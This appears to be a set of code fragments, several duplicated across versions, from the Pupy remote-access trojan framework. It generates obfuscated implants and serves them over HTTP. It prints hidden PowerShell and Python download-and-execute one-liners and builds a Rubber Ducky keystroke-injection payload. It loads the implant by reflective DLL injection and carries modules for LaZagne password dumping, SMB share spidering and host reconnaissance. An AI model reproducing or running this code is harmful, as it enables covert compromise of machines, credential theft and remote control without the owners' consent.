def parse_scriptlets(args_scriptlet, os=None, arch=None, debug=False): scriptlets_dic = load_scriptlets() sp = scriptlets.scriptlets.ScriptletsPacker(os, arch, debug=debug) for sc in args_scriptlet: tab=sc.split(",",1) sc_args={} name=tab[0] if len(tab)==2: try: for x,y in [x.strip().split("=") for x in tab[1].split(",")]: sc_args[x.strip()]=y.strip() except: raise ValueError("usage: pupygen ... -s %s,arg1=value,arg2=value,..."%name) if name not in scriptlets_dic: raise ValueError("unknown scriptlet %s, valid choices are : %s"%( repr(name), [ x for x in scriptlets_dic.iterkeys() ])) print colorize("[+] ","green")+"loading scriptlet %s with args %s"%(repr(name), sc_args) try: sp.add_scriptlet(scriptlets_dic[name](**sc_args)) except ScriptletArgumentError as e: print(colorize("[-] ","red")+"Scriptlet %s argument error : %s"%(repr(name),str(e))) print("") print("usage: pupygen.py ... -s %s,arg1=value,arg2=value,... ..."%name) scriptlets_dic[name].print_help() raise ValueError('{}'.format(e)) script_code=sp.pack() return script_code
def pack_py_payload(conf): print colorize('[+] ', 'green') + 'generating payload ...' fullpayload = [] with open(os.path.join(ROOT, 'packages', 'all', 'pupyimporter.py')) as f: pupyimportercode = f.read() fullpayload.append( get_load_module_code(pupyimportercode, 'pupyimporter') + '\n') fullpayload.append( '\n'.join(['import pupyimporter', 'pupyimporter.install()']) + '\n') for module in ('rpyc', 'pyasn1', 'rsa', 'netaddr', 'tinyec'): modules_dic = gen_package_pickled_dic(sys.modules[module].__path__[0], module) fullpayload.append('pupyimporter.pupy_add_package({})'.format( repr(cPickle.dumps(modules_dic)))) modules_dic = gen_package_pickled_dic(os.path.join(ROOT, 'network'), 'network') fullpayload.append('pupyimporter.pupy_add_package({})'.format( repr(cPickle.dumps(modules_dic)))) with open(os.path.join(ROOT, 'pp.py')) as f: code = f.read() code = re.sub(r'LAUNCHER\s*=\s*.*\n(#.*\n)*LAUNCHER_ARGS\s*=\s*.*', conf.replace('\\', '\\\\'), code) fullpayload.append(code + '\n') return compress_encode_obfs('\n'.join(fullpayload) + '\n')
def get_raw_conf(conf, obfuscate=False): credentials = Credentials(role='client') if not "offline_script" in conf: offline_script = "" else: offline_script = conf["offline_script"] obf_func = lambda x: x if obfuscate: obf_func = compress_encode_obfs l = launchers[conf['launcher']]() l.parse_args(conf['launcher_args']) required_credentials = set(l.credentials) \ if hasattr(l, 'credentials') else set([]) transport = l.get_transport() transports_list = [] if transport: transports_list = [transport] if transports[transport].credentials: for name in transports[transport].credentials: required_credentials.add(name) elif not transport: for n, t in transports.iteritems(): transports_list.append(n) if t.credentials: for name in t.credentials: required_credentials.add(name) print colorize("[+] ", "red") + 'Required credentials:\n{}'.format( colorize("[+] ", "red") + ', '.join(required_credentials)) embedded_credentials = '\n'.join([ '{}={}'.format(credential, repr(credentials[credential])) \ for credential in required_credentials if credentials[credential] is not None ])+'\n' config = '\n'.join([ 'pupyimporter.pupy_add_package({})'.format( repr(cPickle.dumps({'pupy_credentials.py': embedded_credentials}))), '\n'.join([ 'pupyimporter.pupy_add_package({})'.format( repr( cPickle.dumps( gen_package_pickled_dic( ROOT + os.sep, 'network.transports.{}'.format(transport))))) for transport in transports_list ]), 'import sys', 'sys.modules.pop("network.conf")', 'import network.conf', 'LAUNCHER={}'.format(repr(conf['launcher'])), 'LAUNCHER_ARGS={}'.format(repr(conf['launcher_args'])), offline_script ]) return obf_func(config)
def run(self, args): users = self.client.remote('pupyutils.users', 'users') users_list = users() for user in users_list['users']: if user['admin']: color = 'lightred' elif 'Administrators' in user['groups'] or 'sudo' in user['groups']: color = 'lightyellow' else: color = 'white' if type(user['name']) == unicode: name = user['name'] else: name = user['name'].decode('utf-8') output = colorize(name, color) if args.groups: output += u': ' + u','.join(user['groups']) if users_list['current'] == user['name']: output = u'➤ ' + output else: output = u' ' + output self.log(colorize(output, color))
def pack_py_payload(conf): print colorize('[+] ','green')+'generating payload ...' fullpayload=[] with open(os.path.join(ROOT, 'packages', 'all', 'pupyimporter.py')) as f: pupyimportercode = f.read() fullpayload.append(get_load_module_code(pupyimportercode, 'pupyimporter')+'\n') fullpayload.append( '\n'.join([ 'import pupyimporter', 'pupyimporter.install()' ]) + '\n' ) for module in ('rpyc', 'pyasn1', 'rsa', 'netaddr', 'tinyec'): modules_dic = gen_package_pickled_dic(sys.modules[module].__path__[0], module) fullpayload.append('pupyimporter.pupy_add_package({})'.format(repr(cPickle.dumps(modules_dic)))) modules_dic = gen_package_pickled_dic(os.path.join(ROOT, 'network'), 'network') fullpayload.append('pupyimporter.pupy_add_package({})'.format(repr(cPickle.dumps(modules_dic)))) with open(os.path.join(ROOT,'pp.py')) as f: code=f.read() code = re.sub(r'LAUNCHER\s*=\s*.*\n(#.*\n)*LAUNCHER_ARGS\s*=\s*.*', conf.replace('\\','\\\\'), code) fullpayload.append(code+'\n') return compress_encode_obfs('\n'.join(fullpayload)+'\n')
def serve_ps1_payload(conf, ip="0.0.0.0", port=8080, link_ip="<your_ip>", ssl=False, useTargetProxy=True): try: try: server = ps1_HTTPServer((ip, port), conf, link_ip, port, ssl, useTargetProxy) except Exception as e: # [Errno 98] Adress already in use raise print colorize("[+] ","green")+"copy/paste this one-line loader to deploy pupy without writing on the disk :" print " --- " if useTargetProxy == True: oneliner=colorize("powershell.exe -w hidden -noni -nop -c \"iex(New-Object System.Net.WebClient).DownloadString('http://%s:%s/%s')\""%(link_ip, port, url_random_one), "green") message=colorize("Please note that if the target's system uses a proxy, this previous powershell command will download/execute pupy through the proxy", "yellow") else: oneliner=colorize("powershell.exe -w hidden -noni -nop -c \"$w=(New-Object System.Net.WebClient);$w.Proxy=[System.Net.GlobalProxySelection]::GetEmptyWebProxy();iex($w.DownloadString('http://%s:%s/%s'));\""%(link_ip, port, url_random_one), "green") message= colorize("Please note that even if the target's system uses a proxy, this previous powershell command will not use the proxy for downloading pupy", "yellow") print oneliner print " --- " print message print " --- " print colorize("[+] ","green")+'Started http server on %s:%s '%(ip, port) print colorize("[+] ","green")+'waiting for a connection ...' server.serve_forever() except KeyboardInterrupt: print 'KeyboardInterrupt received, shutting down the web server' server.socket.close() exit()
def pack_py_payload(conf): print colorize("[+] ", "green") + "generating payload ..." fullpayload = [] with open(os.path.join(ROOT, "packages", "all", "pupyimporter.py")) as f: pupyimportercode = f.read() fullpayload.append( get_load_module_code(pupyimportercode, "pupyimporter") + "\n") modules_dic = gen_package_pickled_dic(rpyc.__path__[0], "rpyc") fullpayload.append( "import pupyimporter\npupyimporter.install()\npupyimporter.pupy_add_package(%s)\nimport rpyc" % repr(cPickle.dumps(modules_dic))) modules_dic = gen_package_pickled_dic(os.path.join(ROOT, "network"), "network") fullpayload.append("pupyimporter.pupy_add_package(%s)" % repr(cPickle.dumps(modules_dic))) modules_dic = gen_package_pickled_dic(pyasn1.__path__[0], "pyasn1") fullpayload.append("pupyimporter.pupy_add_package(%s)" % repr(cPickle.dumps(modules_dic))) modules_dic = gen_package_pickled_dic(rsa.__path__[0], "rsa") fullpayload.append("pupyimporter.pupy_add_package(%s)" % repr(cPickle.dumps(modules_dic))) with open(os.path.join(ROOT, "pp.py")) as f: code = f.read() code = re.sub(r"LAUNCHER=.*\nLAUNCHER_ARGS=.*", conf, code) fullpayload.append(code + "\n") return compress_encode_obfs('\n'.join(fullpayload) + "\n")
def pack_py_payload(conf): print colorize("[+] ","green")+"generating payload ..." fullpayload=[] with open(os.path.join(ROOT,"packages","all", "pupyimporter.py")) as f: pupyimportercode=f.read() fullpayload.append(get_load_module_code(pupyimportercode,"pupyimporter")+"\n") modules_dic=gen_package_pickled_dic(rpyc.__path__[0],"rpyc") fullpayload.append("import pupyimporter\npupyimporter.install()\npupyimporter.pupy_add_package(%s)\nimport rpyc"%repr(cPickle.dumps(modules_dic))) modules_dic=gen_package_pickled_dic(os.path.join(ROOT,"network"),"network") fullpayload.append("pupyimporter.pupy_add_package(%s)"%repr(cPickle.dumps(modules_dic))) modules_dic=gen_package_pickled_dic(pyasn1.__path__[0],"pyasn1") fullpayload.append("pupyimporter.pupy_add_package(%s)"%repr(cPickle.dumps(modules_dic))) modules_dic=gen_package_pickled_dic(rsa.__path__[0],"rsa") fullpayload.append("pupyimporter.pupy_add_package(%s)"%repr(cPickle.dumps(modules_dic))) with open(os.path.join(ROOT,"pp.py")) as f: code=f.read() code=re.sub(r"LAUNCHER=.*\nLAUNCHER_ARGS=.*", conf, code) fullpayload.append(code+"\n") return compress_encode_obfs('\n'.join(fullpayload)+"\n")
def parse_scriptlets(args_scriptlet, debug=False): scriptlets_dic=load_scriptlets() sp=scriptlets.scriptlets.ScriptletsPacker(debug=debug) for sc in args_scriptlet: tab=sc.split(",",1) sc_args={} name=tab[0] if len(tab)==2: try: for x,y in [x.strip().split("=") for x in tab[1].split(",")]: sc_args[x.strip()]=y.strip() except: print("usage: pupygen ... -s %s,arg1=value,arg2=value,..."%name) exit(1) if name not in scriptlets_dic: print(colorize("[-] ","red")+"unknown scriptlet %s, valid choices are : %s"%(repr(name), [x for x in scriptlets_dic.iterkeys()])) exit(1) print colorize("[+] ","green")+"loading scriptlet %s with args %s"%(repr(name), sc_args) try: sp.add_scriptlet(scriptlets_dic[name](**sc_args)) except ScriptletArgumentError as e: print(colorize("[-] ","red")+"Scriptlet %s argument error : %s"%(repr(name),str(e))) print("") print("usage: pupygen.py ... -s %s,arg1=value,arg2=value,... ..."%name) scriptlets_dic[name].print_help() exit(1) script_code=sp.pack() return script_code
def run(self, args): db = Credentials(client=self.client.short_name(), config=self.config) first_user = True passwordsFound = False for r in self.client.conn.modules["laZagne"].runLaZagne(): if r[0] == 'User': if not passwordsFound and not first_user: self.warning("no passwords found !") first_user = False passwordsFound = False print colorize( '\n########## User: %s ##########' % r[1].encode('utf-8', errors='replace'), "yellow") elif r[2]: # Fix false positive with keepass # Remove 'Get-Process' dict [r[2][i].pop('Get-Process', None) for i in range(0, len(r[2]))] # Remove empty value r = (r[0], r[1], [i for i in r[2] if i]) if r[2]: self.print_module_title(r[1]) passwordsFound = True self.print_results(r[0], r[1], r[2], db) # print passwordsFound if not passwordsFound: self.warning("no passwords found !")
def run(self, args): try: rpupyps = self.client.conn.modules.pupyps data = obtain(rpupyps.interfaces()) families = { int(x): y for x, y in obtain(rpupyps.families).iteritems() } addrlen = max([len(x) for x in data['addrs']]) + 1 familylen = max([len(v) - 3 for v in families.itervalues()]) + 1 for addr, addresses in data['addrs'].iteritems(): if args.iface and not addr in args.iface: continue color = "" if addr in data['stats'] and not data['stats'][addr].get( 'isup'): color = 'darkgrey' elif not any( [x.get('family') == socket.AF_INET for x in addresses]): color = 'grey' self.stdout.write( colorize(addr.ljust(addrlen), color or 'cyan')) first = True for address in addresses: if first: first = False else: self.stdout.write(' ' * addrlen) self.stdout.write( colorize( families[address.get('family')].ljust(familylen), color)) self.stdout.write( colorize( address.get('address', '').split('%')[0], color or 'yellow')) if address.get('netmask'): self.stdout.write( colorize('/' + address.get('netmask'), color)) if address.get('broadcast'): self.stdout.write( colorize(' brd ' + address.get('broadcast'), color)) self.stdout.write('\n') except Exception, e: logging.exception(e)
def generateAllForOStarget(self): ''' ''' if self.targetOs == 'Windows': from ps1_oneliner import serve_ps1_payload self.createRubberDuckyScriptForWindowsTarget() self.generateInjectBinFile() print(colorize("[+] ","green")+"copy/paste inject.bin file on USB rubber ducky device") print(colorize("[+] ","green")+"You should not pay attention to the following message (powershell command). This powershell command is embedded in the inject.bin file generated") serve_ps1_payload(self.conf, link_ip=self.link_ip)
def __loadRubberDuckyConf__(self): ''' ''' config = PupyConfig() self.encoderPath = config.get("rubber_ducky","encoder_path") self.keyboardLayoutPath = config.get("rubber_ducky","default_keyboard_layout_path") if self.encoderPath == "TO_FILL": print(colorize("[+] ","red")+"The 'encoder_path' value has to be filled in pupy.conf for generating inject.bin") if self.keyboardLayoutPath == "TO_FILL": print(colorize("[+] ","red")+"The 'default_keyboard_layout_path' value has to be filled in pupy.conf for generating inject.bin")
def get_raw_conf(conf, obfuscate=False): if not "offline_script" in conf: offline_script="" else: offline_script=conf["offline_script"] new_conf="" obf_func=lambda x:x if obfuscate: obf_func=compress_encode_obfs l=launchers[conf['launcher']]() l.parse_args(conf['launcher_args']) t=transports[l.get_transport()] #pack credentials creds_src=open("crypto/credentials.py","r").read() creds={} exec creds_src in {}, creds cred_src=b"" creds_list=t.credentials if conf['launcher']=="bind": creds_list.append("BIND_PAYLOADS_PASSWORD") if conf['launcher']!="bind": #TODO more flexible warning handling if "SSL_BIND_KEY" in creds_list: creds_list.remove("SSL_BIND_KEY") if "SSL_BIND_CERT" in creds_list: creds_list.remove("SSL_BIND_CERT") for c in creds_list: if c in creds: print colorize("[+] ", "green")+"Embedding credentials %s"%c cred_src+=obf_func("%s=%s"%(c, repr(creds[c])))+"\n" else: print colorize("[!] ", "yellow")+"[-] Credential %s have not been found for transport %s. Fall-back to default credentials. You should edit your crypto/credentials.py file"%(c, l.get_transport()) pupy_credentials_mod={"pupy_credentials.py" : cred_src} new_conf+=compress_encode_obfs("pupyimporter.pupy_add_package(%s)"%repr(cPickle.dumps(pupy_credentials_mod)))+"\n" #pack custom transport conf: l.get_transport() ROOT=os.path.abspath(os.path.join(os.path.dirname(__file__))) transport_conf_dic=gen_package_pickled_dic(ROOT+os.sep, "network.transports.%s"%l.get_transport()) #add custom transport and reload network conf new_conf+=compress_encode_obfs("pupyimporter.pupy_add_package(%s)"%repr(cPickle.dumps(transport_conf_dic)))+"\nimport sys\nsys.modules.pop('network.conf')\nimport network.conf\n" new_conf+=obf_func("LAUNCHER=%s"%(repr(conf['launcher'])))+"\n" new_conf+=obf_func("LAUNCHER_ARGS=%s"%(repr(conf['launcher_args'])))+"\n" new_conf+=offline_script new_conf+="\n" return new_conf
def get_raw_conf(conf, obfuscate=False): if not "offline_script" in conf: offline_script = "" else: offline_script = conf["offline_script"] new_conf = "" obf_func = lambda x: x if obfuscate: obf_func = compress_encode_obfs l = launchers[conf['launcher']]() l.parse_args(conf['launcher_args']) t = transports[l.get_transport()] #pack credentials creds_src = open("crypto/credentials.py", "r").read() creds = {} exec creds_src in {}, creds cred_src = b"" for c in t.credentials: if c in creds: print colorize("[+] ", "green") + "Embedding credentials %s" % c cred_src += obf_func("%s=%s" % (c, repr(creds[c]))) + "\n" else: print colorize( "[!] ", "yellow" ) + "[-] Credential %s have not been found for transport %s. Fall-back to default credentials. You should edit your crypto/credentials.py file" % ( c, l.get_transport()) pupy_credentials_mod = {"pupy_credentials.py": cred_src} new_conf += compress_encode_obfs( "pupyimporter.pupy_add_package(%s)" % repr(cPickle.dumps(pupy_credentials_mod))) + "\n" #pack custom transport conf: l.get_transport() ROOT = os.path.abspath(os.path.join(os.path.dirname(__file__))) transport_conf_dic = gen_package_pickled_dic( ROOT + os.sep, "network.transports.%s" % l.get_transport()) #add custom transport and reload network conf new_conf += compress_encode_obfs( "pupyimporter.pupy_add_package(%s)" % repr(cPickle.dumps(transport_conf_dic)) ) + "\nimport sys\nsys.modules.pop('network.conf')\nimport network.conf\n" new_conf += obf_func("LAUNCHER=%s" % (repr(conf['launcher']))) + "\n" new_conf += obf_func("LAUNCHER_ARGS=%s" % (repr(conf['launcher_args']))) + "\n" new_conf += offline_script new_conf += "\n" return new_conf
def run(self, args): self.client.load_package("pupyutils.search", force=True) self.client.load_package("scandir") if args.extensions: args.extensions = tuple(f.strip() for f in args.extensions.split(',')) # if not extension is provided for find commad, try to extract it to gain time during the research elif not args.content: args.extensions = tuple( os.path.splitext(s)[1].strip() for s in args.strings) search_str = [s.lower() for s in args.strings] s = self.client.conn.modules['pupyutils.search'].Search( files_extensions=args.extensions, max_size=args.max_size, check_content=args.content, root_path=args.path, search_str=search_str) self.info("searching strings %s in %s ..." % (args.strings, args.path)) for res in s.run(): # add color for s in search_str: if s in res: res = res.replace(s, colorize(s, "green")) self.success("%s" % res) self.info("search finished !")
def run(self, args): if "/" in args.target[0]: hosts = IPNetwork(args.target[0]) else: hosts = [args.target[0]] if not args.pattern: self.error('Specify the pattern to look for') return if args.extensions: args.extensions = tuple(f.strip() for f in args.extensions.split(',')) # if not extension is provided for find commad, try to extract it to gain time during the research elif not args.content: args.extensions = tuple(os.path.splitext(s)[1].strip() for s in args.pattern) search_str = [s.lower() for s in args.pattern] self.info("Search started") smb = self.client.conn.modules["pupyutils.smbspider"].Spider(hosts, args.domain, args.port, args.user, args.passwd, args.hash, args.content, args.share, search_str, args.extensions, args.max_size, args.spider, args.depth) for files in smb.spider_all_hosts(): # add color for s in search_str: if s in files: files = files.replace(s, colorize(s,"green")) self.success("%s" % files) self.info("Search finished !")
def getInvokeReflectivePEInjectionWithDLLEmbedded(payload_conf): ''' Return source code of InvokeReflectivePEInjection.ps1 script with pupy dll embedded Ready for executing ''' SPLIT_SIZE = 100000 x86InitCode, x86ConcatCode = "", "" code = """ $PEBytes = "" {0} $PEBytesTotal = [System.Convert]::FromBase64String({1}) Invoke-ReflectivePEInjection -PEBytes $PEBytesTotal -ForceASLR """#{1}=x86dll binaryX86 = b64encode( generate_binary_from_template(payload_conf, 'windows', arch='x86', shared=True)[0]) binaryX86parts = [ binaryX86[i:i + SPLIT_SIZE] for i in range(0, len(binaryX86), SPLIT_SIZE) ] for i, aPart in enumerate(binaryX86parts): x86InitCode += "$PEBytes{0}=\"{1}\"\n".format(i, aPart) x86ConcatCode += "$PEBytes{0}+".format(i) print( colorize("[+] ", "green") + "X86 pupy dll loaded and {0} variables generated".format(i + 1)) script = obfuscatePowershellScript( open( os.path.join(ROOT, "external", "PowerSploit", "CodeExecution", "Invoke-ReflectivePEInjection.ps1"), 'r').read()) return obfs_ps_script("{0}\n{1}".format( script, code.format(x86InitCode, x86ConcatCode[:-1])))
def run(self, args): db = Credentials(client=self.client.short_name(), config=self.config) first_user = True passwordsFound = False results = obtain(self.client.conn.modules["whole"].to_strings_list( self.client.conn.modules["laZagne"].runLaZagne, category_choosed=args.category)) for r in results: if r[0] == 'User': if not passwordsFound and not first_user: self.warning('no passwords found !') first_user = False passwordsFound = False user = r[1] if type(user) == str: user = user.decode('utf-8', errors='replace') self.log( colorize(u'\n########## User: {} ##########'.format(user), 'yellow')) elif r[2]: passwordsFound = True try: self.print_results(r[0], r[1], r[2], db) except Exception, e: self.error('{}: {}'.format(r[1], e))
def gen_output_line(columns, info, record, width): cpu = record.get('cpu_percent') or 0 mem = record.get('memory_percent') or 0 if record.get('self'): color = "green" elif cpu > 70 or mem > 50: color = "red" elif record.get('username') in ADMINS: if record.get('connections'): color = "magenta" else: color = "yellow" elif record.get('connections'): color = "cyan" elif not record.get('same_user'): color = "grey" else: color = None template = ' '.join('{{{}}}'.format(x) for x in info) output = template.format(**columns) if width: diff = len(output) - len(output.decode('utf-8', 'replace')) output = output[:width+diff] if color: output = colorize(output, color) return output
def gen_output_line(columns, info, record, width): cpu = record.get('cpu_percent') or 0 mem = record.get('memory_percent') or 0 if record.get('self'): color = "green" elif cpu > 70 or mem > 50: color = "red" elif record.get('username') in ADMINS: if record.get('connections'): color = "magenta" else: color = "yellow" elif record.get('connections'): color = "cyan" elif not record.get('same_user'): color = "grey" else: color = None template = ' '.join('{{{}}}'.format(x) for x in info) output = template.format(**columns) if width: diff = len(output) - len(output.decode('utf-8', 'replace')) output = output[:width + diff] if color: output = colorize(output, color) return output
class rubber_ducky(): ''' ''' TARGET_OS_MANAGED = ['Windows'] ENCODE_CMD = "java -jar {0} -i {1} -l {2} -o {3}" #{0} encode.jar file, {1} rubber ducky script file, {2} layout file, {3} output file WINDOWS_SCRIPT = """DELAY 3000\nGUI r\nDELAY 500\nSTRING powershell.exe -w hidden -noni -nop -c "iex(New-Object System.Net.WebClient).DownloadString('http://{0}:{1}/p')"\nENTER""" #{0} ip {1} port def __init__(self, conf, link_port=8080, targetOs='Windows'): ''' ''' self.conf = conf i = conf["launcher_args"].index("--host") + 1 self.link_ip = conf["launcher_args"][i].split(":", 1)[0] self.link_port = link_port self.__loadRubberDuckyConf__() self.rubberDuckyScriptFilename = 'rubberDuckyPayload.txt' self.rubberDuckyBinFilename = 'inject.bin' self.targetOs = targetOs if self.targetOs not in self.TARGET_OS_MANAGED: print( colorize("[+] ", "red") + "Target OS ({0}) is not valid. It has to be in {1}".format( targetOs, self.TARGET_OS_MANAGED)) def createRubberDuckyScriptForWindowsTarget(self): ''' ''' with open(self.rubberDuckyScriptFilename, 'wb') as w: w.write(self.WINDOWS_SCRIPT.format(self.link_ip, self.link_port)) print( colorize("[+] ", "green") + "Rubber ducky script file generated in {0}".format( self.rubberDuckyScriptFilename)) def generateInjectBinFile(self): ''' returns True if no error Otherwise returns False ''' rubberDuckyEncodeCmd = self.ENCODE_CMD.format( self.encoderPath, self.rubberDuckyScriptFilename, self.keyboardLayoutPath, self.rubberDuckyBinFilename) try: output = subprocess.check_output(rubberDuckyEncodeCmd, stderr=subprocess.STDOUT, stdin=subprocess.PIPE, shell=True) except subprocess.CalledProcessError, e: print( colorize("[+] ", "red") + "Impossible to generate {0} file with encoder: {1}".format( self.rubberDuckyBinFilename, repr(e.output))) except Exception, e: print( colorize("[+] ", "red") + "Impossible to generate {0} file with encoder: {1}".format( self.rubberDuckyBinFilename, repr(e))) return False
def serve_payload(payload, ip="0.0.0.0", port=8080, link_ip="<your_ip>"): class PupyPayloadHTTPHandler(BaseHTTPRequestHandler): def do_GET(self): self.send_response(200) self.send_header('Content-type','text/html') self.end_headers() # Send the html message self.wfile.write(payload) return try: while True: try: server = HTTPServer((ip, port), PupyPayloadHTTPHandler) break except Exception as e: # [Errno 98] Adress already in use if e[0] == 98: port+=1 else: raise print colorize("[+] ","green")+"copy/paste this one-line loader to deploy pupy without writing on the disk :" print " --- " oneliner=colorize("python -c 'import urllib;exec urllib.urlopen(\"http://%s:%s/index\").read()'"%(link_ip, port), "green") print oneliner print " --- " print colorize("[+] ","green")+'Started http server on %s:%s '%(ip, port) print colorize("[+] ","green")+'waiting for a connection ...' server.serve_forever() except KeyboardInterrupt: print 'KeyboardInterrupt received, shutting down the web server' server.socket.close() exit()
def serve_payload(payload, ip="0.0.0.0", port=8080): print colorize( "[+] ", "green" ) + "copy/paste this one-line loader to deploy pupy without writing on the disk :" print " --- " oneliner = colorize( "python -c 'import urllib;exec urllib.urlopen(\"http://%s:%s/index\").read()'" % (get_local_ip(), port), "green") print oneliner print " --- " class PupyPayloadHTTPHandler(BaseHTTPRequestHandler): def do_GET(self): self.send_response(200) self.send_header('Content-type', 'text/html') self.end_headers() # Send the html message self.wfile.write(payload) return try: server = HTTPServer((ip, port), PupyPayloadHTTPHandler) print colorize("[+] ", "green") + 'Started httpserver on port ', port print colorize("[+] ", "green") + 'waiting for a connection ...' server.serve_forever() except KeyboardInterrupt: print 'KeyboardInterrupt received, shutting down the web server' server.socket.close() exit()
def serve_ps1_payload(conf, ip="0.0.0.0", port=8080, link_ip="<your_ip>", ssl=False): try: while True: try: server = ps1_HTTPServer((ip, port), conf, link_ip, port, ssl) break except Exception as e: # [Errno 98] Adress already in use if e[0] == 98: port += 1 else: raise print colorize( "[+] ", "green" ) + "copy/paste this one-line loader to deploy pupy without writing on the disk :" print " --- " oneliner = colorize( "powershell.exe -w hidden -noni -nop -c \"iex(New-Object System.Net.WebClient).DownloadString('http://%s:%s/p')\"" % (link_ip, port), "green") print oneliner print " --- " print colorize("[+] ", "green") + 'Started http server on %s:%s ' % (ip, port) print colorize("[+] ", "green") + 'waiting for a connection ...' server.serve_forever() except KeyboardInterrupt: print 'KeyboardInterrupt received, shutting down the web server' server.socket.close() exit()
def serve_ps1_payload(conf, ip="0.0.0.0", port=8080, link_ip="<your_ip>", ssl=False): try: while True: try: server = ps1_HTTPServer((ip, port), conf, link_ip, port, ssl) break except Exception as e: # [Errno 98] Adress already in use if e[0] == 98: port+=1 else: raise print colorize("[+] ","green")+"copy/paste this one-line loader to deploy pupy without writing on the disk :" print " --- " oneliner=colorize("powershell.exe -w hidden -noni -nop -c \"iex(New-Object System.Net.WebClient).DownloadString('http://%s:%s/p')\""%(link_ip, port), "green") print oneliner print " --- " print colorize("[+] ","green")+'Started http server on %s:%s '%(ip, port) print colorize("[+] ","green")+'waiting for a connection ...' server.serve_forever() except KeyboardInterrupt: print 'KeyboardInterrupt received, shutting down the web server' server.socket.close() exit()
def run(self, args): try: rpupyps = self.client.conn.modules.pupyps data = obtain(rpupyps.interfaces()) families = { int(x):y for x,y in obtain(rpupyps.families).iteritems() } addrlen = max([len(x) for x in data['addrs']])+1 familylen = max([len(v)-3 for v in families.itervalues()])+1 for addr, addresses in data['addrs'].iteritems(): if args.iface and not addr in args.iface: continue color = "" if addr in data['stats'] and not data['stats'][addr].get('isup'): color = 'darkgrey' elif not any([ x.get('family') == socket.AF_INET for x in addresses ]): color = 'grey' self.stdout.write(colorize(addr.ljust(addrlen), color or 'cyan')) first = True for address in addresses: if first: first = False else: self.stdout.write(' '*addrlen) self.stdout.write(colorize(families[ address.get('family') ].ljust(familylen), color)) self.stdout.write( colorize(address.get('address', '').split('%')[0], color or 'yellow') ) if address.get('netmask'): self.stdout.write(colorize('/'+address.get('netmask'), color)) if address.get('broadcast'): self.stdout.write(colorize(' brd '+address.get('broadcast'), color)) self.stdout.write('\n') except Exception, e: logging.exception(e)
def createRubberDuckyScriptForWindowsTarget(self): ''' ''' with open(self.rubberDuckyScriptFilename, 'wb') as w: w.write(self.WINDOWS_SCRIPT.format(self.link_ip, self.link_port)) print( colorize("[+] ", "green") + "Rubber ducky script file generated in {0}".format( self.rubberDuckyScriptFilename))
def generateInjectBinFile(self): ''' returns True if no error Otherwise returns False ''' rubberDuckyEncodeCmd = self.ENCODE_CMD.format(self.encoderPath, self.rubberDuckyScriptFilename, self.keyboardLayoutPath, self.rubberDuckyBinFilename) try: output = subprocess.check_output(rubberDuckyEncodeCmd, stderr=subprocess.STDOUT, stdin=subprocess.PIPE, shell = True) except subprocess.CalledProcessError, e: print(colorize("[+] ","red")+"Impossible to generate {0} file with encoder: {1}".format(self.rubberDuckyBinFilename, repr(e.output)))
def show(self, values): if hasattr(values, 'iterkeys'): column_size = max([len(x) for x in values.iterkeys()]) fmt = '{{:<{}}}'.format(column_size) for k, v in values.iteritems(): if k.startswith('New'): k = k[3:] self.log(colorize(fmt.format(k), 'yellow') + ' {}'.format(v)) else: values = list(values) columns = [] column_sizes = {} for value in values: for column, cvalue in value.iteritems(): if not column in columns: if column.startswith('New'): columnlen = len(column) - 3 else: columnlen = len(column) columns.append(column) column_sizes[column] = max(len(str(cvalue)), columnlen) else: column_sizes[column] = max(column_sizes[column], len(str(cvalue))) lines = [] header = '' for column in columns: fmt = ' {{:<{}}} '.format(column_sizes[column]) if column.startswith('New'): column = column[3:] header += colorize(fmt.format(column), 'yellow') lines.append(header) for value in values: row = '' for column in columns: fmt = ' {{:<{}}} '.format(column_sizes[column]) row += fmt.format(value[column]) lines.append(row) self.log('\n'.join(lines))
def downloadAllEmails(self): ''' ''' logging.debug("Downloading all emails") for i, anEmail in enumerate(self.getEmails()): self.downloadAnEmail(anEmail) sys.stdout.write('\r{2}Downloading email {0}/{1}...'.format( i + 1, self.getNbOfEmails(), colorize("[+] ", "green"))) sys.stdout.flush() print "\n"
def colorize_option(option): if len(option) > 1: k, v = option else: k = option[0] v = None color = option_colors.get(k) if color: if type(color) == dict: if v in color: return colorize('='.join([x for x in [k, v] if x]), color.get(v)) else: return '='.join([x for x in [k, v] if x]) else: return colorize('='.join([x for x in [k, v] if x]), color) else: return '='.join([x for x in [k, v] if x])
def run(self, args): try: rpupyps = self.client.conn.modules.pupyps data = obtain(rpupyps.connections()) sock = { int(x):y for x,y in obtain(rpupyps.socktypes).iteritems() } families = { int(x):y for x,y in obtain(rpupyps.families).iteritems() } limit = [] if args.tcp: limit.append('STREAM') if args.udp: limit.append('DGRAM') objects = [] for connection in data: if connection['status'] == 'LISTEN' and not args.listen: continue if args.listen and not connection['status'] == 'LISTEN': continue color = "" family = families[connection['family']] stype = sock[connection['type']] if limit and not stype in limit: continue if connection.get('me'): color = 'green' elif connection['status'] in ('CLOSE_WAIT', 'TIME_WAIT', 'TIME_WAIT2'): color = 'darkgrey' elif ( '127.0.0.1' in connection['laddr'] or '::1' in connection['laddr'] ): color = 'grey' objects.append({ 'AF': colorize(family, color), 'TYPE': colorize(stype, color), 'LADDR': colorize(':'.join([str(x) for x in connection['laddr']]), color), 'RADDR': colorize(':'.join([str(x) for x in connection['raddr']]), color), 'PID': colorize(connection.get('pid', ''), color), 'USER': colorize((connection.get('username') or '').encode('utf8','replace'), color), 'EXE': colorize( connection.get( 'exe', (connection.get('name') or '').encode('utf8','replace') ), color) }) self.stdout.write( PupyCmd.table_format(objects, wl=[ 'AF', 'TYPE', 'LADDR', 'RADDR', 'USER', 'PID', 'EXE' ])) except Exception, e: logging.exception(e)
def __call__(self, parser, namespace, values, option_string=None): print colorize("## available formats :", "green") + " usage: -f <format>" print "\t- exe_86, exe_x64 : generate PE exe for windows" print "\t- dll_86, dll_x64 : generate reflective dll for windows" print "\t- py : generate a fully packaged python file (with all the dependencies packaged and executed from memory), all os (need the python interpreter installed)" print "\t- py_oneliner : same as \"py\" format but served over http to load it from memory with a single command line." print "\t- ps1_oneliner : load pupy remotely from memory with a single command line using powershell." print "" print colorize("## available transports :", "green") + " usage: -t <transport>" for name, tc in transports.iteritems(): try: print "\t- {:<14} : {}".format(name, tc.info) except Exception as e: logging.error(e) print colorize( "## available scriptlets :", "green") + " usage: -s <scriptlet>,<arg1>=<value>,<args2=value>..." scriptlets_dic = load_scriptlets() for name, sc in scriptlets_dic.iteritems(): print "\t- {:<15} : ".format(name) print '\n'.join(["\t" + x for x in sc.get_help().split("\n")]) exit()
